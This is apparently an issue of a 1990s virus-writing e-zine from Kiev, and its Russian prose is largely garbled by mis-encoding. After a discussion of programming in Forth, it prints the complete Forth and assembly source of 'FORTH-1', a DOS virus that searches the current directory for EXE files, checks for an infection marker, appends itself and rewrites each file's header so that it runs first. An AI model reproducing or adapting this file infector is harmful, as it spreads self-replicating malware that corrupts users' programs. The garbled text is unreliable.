
                        
       Virus Magazine   Box 176, Kiev 210, Ukraine      IV  1997
            
                             
                                            
                                  
           
          (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.

 ᢮ ६  ᮢ  ணࠬ஢ 
  -- ᥩ  ( ᢮ ࢮࠧ  ࠧ 197.. )
   ᯮ䨧    ࠧ뢠 .

᭮ ਭ樯 :
-  ⮬ 몥    権  ,  ᫮
  (㭪樨  楤   뢠 ᫮) H!
  .. ,    (  ᪠ )
     ᢮ ⥪  ⠥ 믮 (஬ e).
    ⠪ :
   ।  室  ᥬ   㬠 
     , "   ,  
   ࠧ 믮",⭮ ,  뫮  ࠧ,  ᪠
   ஢ ⥫ ,㧨    䠩 .
   H ᠬ  ᥬ ⮣  ,     .
 ஢ ணࠬ   룫廊 ⠪ -

;--------------------------
Word1:          ;         -  ⥫ ணࠬ
...........     ;                 室 ᫮  ᠭ
Word2:          ;                ᥬ  ᮡ⢥  
...........     ;                 맮 ਬ (筮)
Word3:          ;               ..  .
...........     ;
Word4:          ;         ࠧ
...........     ;       1. ணࠬ  
...........     ;          call Word1
_1:             ;          call Word1
dw offset Word1 ;          call Word3  ..
dw offset Word2 ;                             / 2. אַ  
dw offset Word3 ; <---------------------------
dw offset Word4 ;  ..  ।饩 ࠬ,   call १ 
...........     ;  砫  ⠢   楤. ணࠬ
...........     ;               筮 뢠 멈
dataseg         ; Data          ᤥ ਬ୮ ⠪ :
stackseg        ; Stack         lea si,_1
;--------------------------     lodsw
                                mov bx,ax
                                jmp bx ....
 ந⥪,  樨  ᫮,   ⥪
 ᫮  ᫨ 室    ⮣ ᫮   ⮣ 
⥪饣 㥬 ᫮.

砥 ⠪ ( ᨫ쭮 ⨢) :
    ᫮ 稭    稢
 窮  ⮩ -- ..   室 ⨫ 稥
  뢠 ᫮   ":"    室  ";"
 , ⥬  롨ࠥ ⥪ , ᫨ ⠬  ⮨ ":" 
   ⨢襥   ࠭ ᪮஢ ᫮
  ।   ࠢ.

- 騩    H  15 .
  (  砥 3400 !!!   ᥬ )
    ⮢  " +  + 室_",
     ᪥ ⮩ 蠭  ४㥬 室 !
  祬,  楤 樨 ⠪,⮡  
  ४樨     ஢   ᫮.
   ᫨  ᪨ ,  ᮧ ᫮ 饥
  ⥪   饥  !!!
  ( த  100% 䨧....)

- ஡ ࠧ  १騬   ணࠬ.
     ⫠稪  㤮, ४஢ 直
  ࠬ !

----------------------------------------------------------------------------
   襭  ਢ ਬ .
 ⥩訩 १ ࠦ⥫ EXE 䠩.뢠 ᢮ ⥫
  䠩  ४ .㤭⥩   ᠭ '뫮
 ! , ᠫ .... (ࠢ  ⠬ 筮)
 ⥪   ᭥ --  㬭    !!!
----------------------------------------------------------------------------
 室  ஢ 楫 ஬   AstroForth
᫥ ॢ  ⥪⮢ ଠ -  ࠭ 䠩 (*.scr)
ணࠬ scr-txt.com ( ⮃ ) .................................
----------------------------------------------------------------------------

( VIRUS FOR TARGET COMPILING                         06/30/96 )

                       Ŀ
 (C) Light General                                           
                        H१  ࠦ騩 *.EXE 
  VIRUS INFO                                                 
 Name  : FORTH-1         ⥫  1303 .         
 Model : E-4608         ᥣ  䠩 뢠 4608 .
                        ࠦ ⭮.               
                        ૥ 䠩  ࠦ.      
                        H ࠡ뢠 int24h               
                        ࠦ  䠩  ⥪饬 . 
                                                             
                       

----------------------------------------------------------------
(                                                    06/30/96 )
VARIABLE DTA_ 80 ALLOT  VARIABLE MASK_ " *.EXE" 0 C,
VARIABLE HANDLE_ HEX 003F CONSTANT ATTR_

CODE INT21 ( ax bx cx dx -- ax carry )
 DX POP CX POP BX POP AX POP 21 INT
 AX PUSH  AX, # 00 MOV ( FALSE )
    1$ JC
    AX DEC  ( TRUE (for FORTH!!!!) )
1$:
    AX PUSH
    NEXT,
END-CODE

: HANDLE@ HANDLE_ @ ;
-->
(                                                    07/01/96 )
CODE GO_VIRUS
 CLI BP, DS MOV AX, CS MOV DS, AX MOV AX, # 1600 ADD ES, AX MOV
 DI, # 00 MOV SI POP SI, # 03 SUB CX, # 1600 MOV
 REPZ MOVSB
 BX, # 00F0 MOV DS, AX MOV [BX], BP MOV AX PUSH
 AX, # 0100 MOV AX PUSH FAR RET
 ( <- Go to standart Forth frame )
END-CODE





-->

(                                                    06/30/96 )
CODE GO_PROG
 ( Code for run infected file!  [CS IP SS SP -- ] )
 BP, F0 MOV ES, BP MOV DS, BP MOV
 DX, # 0080 MOV AH, # 1A MOV 21 INT CLI CS PUSH DS POP
 SP, 06 MOV AX, 04 MOV AX, BP ADD AX, # 10 ADD SS, AX MOV
 AX, 00 MOV AX, BP ADD AX, # 10 ADD AX PUSH 02 PUSH DS, BP MOV
 STI
 FAR RET
END-CODE

VARIABLE CS_ VARIABLE IP_ VARIABLE SS_ VARIABLE SP_
: GO_PROG_PREV
  CS_ @ 0 ! IP_ @ 2 ! SS_ @ 4 ! SP_ @ 6 ! ;
-->

(                                                    06/30/96 )
VARIABLE HEADER_ 20 ALLOT    VARIABLE CARRY_
: FIND_FIRST 4E00 0 ATTR_ MASK_ 3 + INT21 2DROP ;
: FIND_NEXT  4F00 0 0 0 INT21 CARRY_ ! DROP ;
: OPEN_FILE  3D02 0 0 DTA_ 1E + INT21 DROP HANDLE_ ! ;
: CLOSE_FILE 3E00 HANDLE@ 0 0 INT21 2DROP ;
: READ_HEADER 3F00 HANDLE@ 1C HEADER_ INT21 2DROP ;
: ?EXE HEADER_ @ 5A4D = ;
: ?ALR HEADER_ 12 + @ 2424 = ;
: SET_DTA 1A00 0 0 DTA_ INT21 2DROP ;

CODE GET_FLEN ( HANDLE -- LOLEN HILEN )
 BX POP AX, # 4202 MOV CX, CX XOR DX, DX XOR 21 INT
 AX PUSH DX PUSH NEXT,
END-CODE
-->
(                                                    06/30/96 )
VARIABLE CALL_ 3 ALLOT

: CALL! 00E8 CALL_ ! 0 CALL_ 2+ ! CALL_ ;

: WRITE_BODY  ( F.p. 㦥   䠩! )
   4000 HANDLE@ 03 CALL! INT21 2DROP
   4000 HANDLE@ 0100 3 -  ['] GO_VIRUS 2+ INT21 2DROP
   4000 HANDLE@ 1100 0100 INT21 2DROP ;

: WRITE_HEADER
   4200 HANDLE@ 0 0 INT21 2DROP
   4000 HANDLE@ 1C HEADER_ INT21 2DROP ;


-->
(                                                    06/30/96 )
CODE CALCULATE ( HILEN LOLEN DI -- NEWCS NEWIP )
 DI POP AX POP DX POP CX, # 10 MOV CX DIV AX, DI SUB
 DX, # 0 SBB AX PUSH DX PUSH
NEXT,
END-CODE

: FINFECT_ ( HILEN LOLEN -- )
   HEADER_ 8 + @ CALCULATE SWAP DUP 20 +
   HEADER_ 0E + ! HEADER_ 16 + ! HEADER_ 14 + !
   3000 HEADER_ 10 + ! ( SS CS IP SP ) 2424 HEADER_ 12 + !
   HEADER_ 04 + DUP @ 6 + SWAP ! ( VIRLEN = 512*6 )
   WRITE_BODY WRITE_HEADER ;

-->

(                                                    06/30/96 )
: FINFECT
  HEADER_ DUP 000E + @ SS_ ! DUP 0010 + @ SP_ !
          DUP 0014 + @ IP_ ! 0016 + @ CS_ !
  HANDLE@ GET_FLEN SWAP DUP
  HEADER_ 4 + @ 1- 0200 * HEADER_ 2 + @ + =
  IF FINFECT_ CLOSE_FILE GO_PROG THEN CLOSE_FILE ;

-->







(                                                    06/30/96 )
: INFECT
    ?ALR IF CLOSE_FILE EXIT ELSE FINFECT THEN ;

: ERROR_ CARRY_ @ FALSE = ;

: MAIN()
   GO_PROG_PREV SET_DTA FIND_FIRST
   BEGIN
    OPEN_FILE READ_HEADER
    ?EXE IF INFECT THEN
    FIND_NEXT ERROR_ IF GO_PROG THEN
   AGAIN ;